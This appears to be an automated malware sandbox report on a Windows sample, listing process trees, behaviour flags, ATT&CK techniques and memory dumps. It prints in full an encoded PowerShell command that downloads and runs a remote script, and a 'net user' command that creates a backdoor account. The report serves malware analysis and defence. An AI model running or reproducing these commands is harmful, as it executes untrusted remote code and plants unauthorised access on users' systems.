cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:2444
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:4020
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:212

C:\Windows\System32\cmd.exe
cmd.exe /C net user wgautilacc 1234
1⤵
PID:1840
- C:\Windows\system32\net.exe
  net user wgautilacc 1234
  2⤵
  PID:1728
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc 1234
    3⤵
    PID:1284

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/212-242-0x00000269E5263000-0x00000269E5265000-memory.dmp

Filesize
8KB

Download
memory/212-243-0x00000269E5266000-0x00000269E5268000-memory.dmp

Filesize
8KB

Download
memory/212-241-0x00000269E5260000-0x00000269E5262000-memory.dmp

Filesize
8KB

Download
memory/212-244-0x00000269E5268000-0x00000269E5269000-memory.dmp

Filesize
4KB

Download
memory/668-117-0x0000023EFDDE3000-0x0000023EFDDE5000-memory.dmp

Filesize
8KB

Download
memory/668-114-0x0000023EFDDE0000-0x0000023EFDDE2000-memory.dmp

Filesize
8KB

Download
memory/668-119-0x0000023EFDDE6000-0x0000023EFDDE7000-memory.dmp

Filesize
4KB

Download
memory/668-115-0x0000023EFE220000-0x0000023EFE641000-memory.dmp

Filesize
4.1MB

Download
memory/668-118-0x0000023EFDDE5000-0x0000023EFDDE6000-memory.dmp

Filesize
4KB

Download
memory/1264-205-0x0000028375626000-0x0000028375628000-memory.dmp

Filesize
8KB

Download
memory/1264-203-0x0000028375623000-0x0000028375625000-memory.dmp

Filesize
8KB

Download
memory/1264-202-0x0000028375620000-0x0000028375622000-memory.dmp

Filesize
8KB

Download
memory/1588-178-0x0000017170810000-0x0000017170812000-memory.dmp

Filesize
8KB

Download
memory/1588-201-0x0000017170818000-0x000001717081A000-memory.dmp

Filesize
8KB

Download
memory/1588-179-0x0000017170813000-0x0000017170815000-memory.dmp

Filesize
8KB

Download
memory/1588-182-0x0000017170816000-0x0000017170818000-memory.dmp

Filesize
8KB

Download
memory/2160-208-0x0000021D62BA6000-0x0000021D62BA8000-memory.dmp

Filesize
8KB

Download
memory/2160-206-0x0000021D62BA0000-0x0000021D62BA2000-memory.dmp

Filesize
8KB

Download
memory/2160-209-0x0000021D62BA8000-0x0000021D62BAA000-memory.dmp

Filesize
8KB

Download
memory/2160-207-0x0000021D62BA3000-0x0000021D62BA5000-memory.dmp

Filesize
8KB

Download
memory/3028-135-0x0000022B142B0000-0x0000022B142B2000-memory.dmp

Filesize
8KB

Download
memory/3028-144-0x0000022B142B6000-0x0000022B142B8000-memory.dmp

Filesize
8KB

Download
memory/3028-158-0x0000022B2F850000-0x0000022B2F851000-memory.dmp

Filesize
4KB

Download
memory/3028-157-0x0000022B2F4C0000-0x0000022B2F4C1000-memory.dmp

Filesize
4KB

Download
memory/3028-151-0x0000022B142B8000-0x0000022B142B9000-memory.dmp

Filesize
4KB

Download
memory/3028-126-0x0000022B16180000-0x0000022B16181000-memory.dmp

Filesize
4KB

Download
memory/3028-149-0x0000022B161D0000-0x0000022B161D1000-memory.dmp

Filesize
4KB

Download
memory/3028-131-0x0000022B2EEE0000-0x0000022B2EEE1000-memory.dmp

Filesize
4KB

Download
memory/3028-136-0x0000022B142B3000-0x0000022B142B5000-memory.dmp

Filesize
8KB

Download